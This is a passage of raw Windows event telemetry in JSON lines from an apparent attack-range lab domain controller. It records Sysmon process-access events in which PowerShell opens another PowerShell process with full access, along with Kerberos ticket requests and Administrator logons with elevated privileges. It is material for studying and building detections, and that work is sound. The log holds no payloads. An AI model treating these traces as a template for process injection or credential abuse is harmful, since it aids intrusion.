C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-0010A1680700}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c992ed6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33fb0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33c81(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c8e5096(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bdf4817(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be52ce6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be3634b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be3634b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be361dc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be28161(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be34694(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be34287(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33fb0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33c81(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c8e5096(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be1aae2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be1a0b2(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.305","SourceProcessGUID":"{90617006-415E-5F2D-0000-00102F5C0700}","SourceProcessId":"3640","SourceThreadId":"3012","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-0010A1680700}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c992ed6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33fb0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33c81(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c8e5096(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bdf4817(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be52ce6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be3634b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be3634b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be361dc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be28161(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be34694(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be34287(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33fb0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33c81(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c8e5096(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be1aae2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be1a0b2(wow64)","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4861,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.305\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-0010A1680700}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.305","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-0010A1680700}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221927,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x67830\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x67830","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221928,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x68F0E\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x68f0e","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221929,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x6FBBD\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x6fbbd","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221930,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221931,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{72606937-8551-52B4-EB50-EB6C725404D1}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{72606937-8551-52B4-EB50-EB6C725404D1}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221932,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{72606937-8551-52B4-EB50-EB6C725404D1}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{72606937-8551-52B4-EB50-EB6C725404D1}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221933,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x75561\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{72606937-8551-52B4-EB50-EB6C725404D1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x75561","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{72606937-8551-52B4-EB50-EB6C725404D1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221934,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x75561\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x75561","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221935,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x75561\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x75561","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221936,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 